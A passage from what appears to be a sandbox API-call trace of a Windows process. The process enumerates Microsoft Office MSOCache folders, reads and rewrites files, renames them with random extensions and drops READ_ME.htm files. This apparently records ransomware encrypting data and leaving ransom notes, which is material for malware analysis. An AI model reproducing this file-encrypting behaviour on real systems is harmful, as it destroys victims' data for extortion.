(uMode=0x0) returned 0x1 [0133.676] GetFileType (hFile=0x1d0) returned 0x1 [0133.676] WriteFile (in: hFile=0x1d0, lpBuffer=0x283aaf0*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x283aaf0*, lpNumberOfBytesWritten=0x21d478*=0x710, lpOverlapped=0x0) returned 1 [0133.678] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.678] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml.372qjb", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml.372qjb", lpFilePart=0x0) returned 0x4f [0133.678] SetErrorMode (uMode=0x1) returned 0x0 [0133.678] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4c43c540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x710)) returned 1 [0133.678] SetErrorMode (uMode=0x0) returned 0x1 [0133.679] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml.372qjb" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml.372qjb")) returned 1 [0133.679] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0133.679] SetErrorMode (uMode=0x1) returned 0x0 [0133.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0133.684] GetFileType (hFile=0x1d0) returned 0x1 [0133.684] SetErrorMode (uMode=0x0) returned 0x1 [0133.684] GetFileType (hFile=0x1d0) returned 0x1 [0133.684] WriteFile (in: hFile=0x1d0, lpBuffer=0x283f930*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x283f930*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0133.686] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.686] SetErrorMode (uMode=0x1) returned 0x0 [0133.686] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.825] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90965df0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x90965df0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3337ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d2ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0133.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749677e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x749677e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0133.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb696530, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xfb696530, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0133.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.827] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.827] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.828] SetErrorMode (uMode=0x0) returned 0x1 [0133.828] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.829] SetErrorMode (uMode=0x1) returned 0x0 [0133.829] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.830] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.830] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90965df0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x90965df0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3337ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d2ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0133.830] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749677e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x749677e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0133.831] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb696530, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xfb696530, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0133.831] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.831] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.831] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.832] SetErrorMode (uMode=0x0) returned 0x1 [0133.832] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0133.833] SetErrorMode (uMode=0x1) returned 0x0 [0133.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.834] GetFileType (hFile=0x1d0) returned 0x1 [0133.834] SetErrorMode (uMode=0x0) returned 0x1 [0133.834] GetFileType (hFile=0x1d0) returned 0x1 [0133.834] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xb15 [0133.835] ReadFile (in: hFile=0x1d0, lpBuffer=0x2843b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2843b50*, lpNumberOfBytesRead=0x21d4d8*=0xb15, lpOverlapped=0x0) returned 1 [0133.857] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0133.857] SetErrorMode (uMode=0x1) returned 0x0 [0133.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.859] GetFileType (hFile=0x1d0) returned 0x1 [0133.859] SetErrorMode (uMode=0x0) returned 0x1 [0133.859] GetFileType (hFile=0x1d0) returned 0x1 [0133.859] WriteFile (in: hFile=0x1d0, lpBuffer=0x2928498*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2928498*, lpNumberOfBytesWritten=0x21d478*=0xb20, lpOverlapped=0x0) returned 1 [0133.860] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0133.861] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml.0cgvfm", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml.0cgvfm", lpFilePart=0x0) returned 0x54 [0133.861] SetErrorMode (uMode=0x1) returned 0x0 [0133.861] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb696530, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xfb696530, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4c6055c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xb20)) returned 1 [0133.861] SetErrorMode (uMode=0x0) returned 0x1 [0133.861] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml.0cgvfm" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml.0cgvfm")) returned 1 [0133.862] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.862] SetErrorMode (uMode=0x1) returned 0x0 [0133.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.863] GetFileType (hFile=0x1d0) returned 0x1 [0133.863] SetErrorMode (uMode=0x0) returned 0x1 [0133.863] GetFileType (hFile=0x1d0) returned 0x1 [0133.864] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xf1e [0133.864] ReadFile (in: hFile=0x1d0, lpBuffer=0x292b038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x292b038*, lpNumberOfBytesRead=0x21d4d8*=0xf1e, lpOverlapped=0x0) returned 1 [0133.896] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.896] SetErrorMode (uMode=0x1) returned 0x0 [0133.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.898] GetFileType (hFile=0x1d0) returned 0x1 [0133.898] SetErrorMode (uMode=0x0) returned 0x1 [0133.898] GetFileType (hFile=0x1d0) returned 0x1 [0133.899] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a10a50*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2a10a50*, lpNumberOfBytesWritten=0x21d478*=0xf20, lpOverlapped=0x0) returned 1 [0133.900] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.901] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml.aumo8t", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml.aumo8t", lpFilePart=0x0) returned 0x4f [0133.901] SetErrorMode (uMode=0x1) returned 0x0 [0133.901] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4c6779e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xf20)) returned 1 [0133.901] SetErrorMode (uMode=0x0) returned 0x1 [0133.901] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml.aumo8t" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml.aumo8t")) returned 1 [0133.902] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0133.902] SetErrorMode (uMode=0x1) returned 0x0 [0133.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0133.903] GetFileType (hFile=0x1d0) returned 0x1 [0133.903] SetErrorMode (uMode=0x0) returned 0x1 [0133.903] GetFileType (hFile=0x1d0) returned 0x1 [0133.904] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a15890*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a15890*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0133.904] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.905] SetErrorMode (uMode=0x1) returned 0x0 [0133.905] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4289c770, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4289c770, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd4c36bb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb3fb20, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xeb3fb20, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd41a8180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x99cdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0133.906] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0e93c80, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc0e93c80, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xd4135590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0133.906] FindNextFileW (in: hFindFile=0x2fe5d0, 